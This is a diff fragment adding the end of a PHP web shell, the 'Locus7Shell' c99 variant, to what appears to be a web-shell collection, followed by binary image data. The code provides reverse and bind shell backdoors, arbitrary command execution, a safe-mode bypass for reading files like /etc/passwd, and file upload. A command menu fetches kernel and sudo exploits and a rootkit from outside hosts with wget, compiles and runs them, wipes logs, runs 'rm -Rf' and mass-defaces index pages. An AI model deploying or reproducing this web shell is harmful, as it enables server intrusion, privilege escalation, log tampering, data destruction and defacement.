src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>"); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} ?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + <OPTION VALUE="wget http://precision-gaming.com/sudo.c">wget Linux sudo stack overflow + <OPTION VALUE="gcc sudo.c -o sudosploit">Compile Linux sudo sploit + <OPTION VALUE="./sudosploit">Execute Sudosploit + <OPTION VALUE="wget http://twofaced.org/linux2-6-all.c">Linux Kernel 2.6.* rootkit.c + <OPTION VALUE="gcc linux2-6-all.c -o linuxkernel">Compile Linux2-6-all.c + <OPTION VALUE="./linuxkernel">Run Linux2-6-all.c + <OPTION VALUE="wget http://twofaced.org/mig-logcleaner.c">Mig LogCleaner + <OPTION VALUE="gcc -DLINUX -WALL mig-logcleaner.c -o migl">Compile Mig LogCleaner + <OPTION VALUE="./migl -u root 0">Compile Mig LogCleaner + <OPTION VALUE="sed -i -e 's/<html>/<div style=\'position\:absolute\;width\:2000px\;height\:2000px\;background-color\:black\'><br><br><br><br>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<img src=\'http://img244.imageshack.us/img244/6663/locus7sgm8.jpg\'><br><font size=\'10\' color=\'green\'>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<font size=\'10\' color=\'green\'>HACKED BY <a href=\'http\:\/\/locus7s.com\'>LOCUS7S<\/a><\/font><\/div><meta http-equiv=\'refresh\' content=\'5\\;url=http\:\/\/locus7s.com\'>/g' index.*">index.* Mass Defacement + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + + + + + + + + + + + + + + + + + + + + + + + + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ x2300 Locus7Shell v. <?php echo $shver; ?> <a href="http://www.locus7s.com/"><u><b>Modded by</b></u></a> #!physx^ | <a href="http://www.locus7s.com">www.LOCUS7S.com</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/php/PHPshell/c99_locus7s/c99_locus7s2.jpg b/php/PHPshell/c99_locus7s/c99_locus7s2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..12e3902f789ea5fded356c129e9f634a7f6f411d GIT binary patch literal 64519 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 